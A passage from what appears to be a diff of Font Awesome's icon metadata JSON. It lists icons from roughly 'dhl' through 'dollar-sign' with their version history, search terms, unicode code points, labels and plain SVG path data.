xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z" + } + }, + "free": [ + "brands" + ] + }, + "digital-ocean": { + "changes": [ + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f391", + "label": "Digital Ocean", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699927, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z" + } + }, + "free": [ + "brands" + ] + }, + "digital-tachograph": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "data", + "distance", + "speed", + "tachometer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f566", + "label": "Digital Tachograph", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635448, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z" + } + }, + "free": [ + "solid" + ] + }, + "directions": { + "changes": [ + "5.2.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "map", + "navigation", + "sign", + "turn" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5eb", + "label": "Directions", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635449, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z" + } + }, + "free": [ + "solid" + ] + }, + "discord": { + "changes": [ + "5.0.0", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f392", + "label": "Discord", + "voted": false, + "svg": { + "brands": { + "last_modified": 1627918086738, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z" + } + }, + "free": [ + "brands" + ] + }, + "discourse": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f393", + "label": "Discourse", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860981, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z" + } + }, + "free": [ + "brands" + ] + }, + "disease": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bacteria", + "cancer", + "covid-19", + "illness", + "infection", + "sickness", + "virus" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7fa", + "label": "Disease", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635449, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "divide": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "calculus", + "division", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f529", + "label": "Divide", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635449, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "dizzy": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "dazed", + "dead", + "disapprove", + "emoticon", + "face" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f567", + "label": "Dizzy Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635449, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z" + }, + "regular": { + "last_modified": 1628088634777, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "dna": { + "changes": [ + "5.0.7", + "5.0.10" + ], + "ligatures": [], + "search": { + "terms": [ + "double helix", + "genetic", + "helix", + "molecule", + "protein" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f471", + "label": "DNA", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635450, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z" + } + }, + "free": [ + "solid" + ] + }, + "dochub": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f394", + "label": "DocHub", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860981, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "416", + "512" + ], + "width": 416, + "height": 512, + "path": "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z" + } + }, + "free": [ + "brands" + ] + }, + "docker": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f395", + "label": "Docker", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860981, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z" + } + }, + "free": [ + "brands" + ] + }, + "dog": { + "changes": [ + "5.4.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "animal", + "canine", + "fauna", + "mammal", + "pet", + "pooch", + "puppy", + "woof" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6d3", + "label": "Dog", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635450, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z" + } + }, + "free": [ + "solid" + ] + }, + "dollar-sign": { + "changes": [ + "3.2", + "5.0.0", + "5.0.9", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "$", + "cost", + "dollar-sign", + "money", + "price", + "usd" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f155", + "label": "Dollar Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635451, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 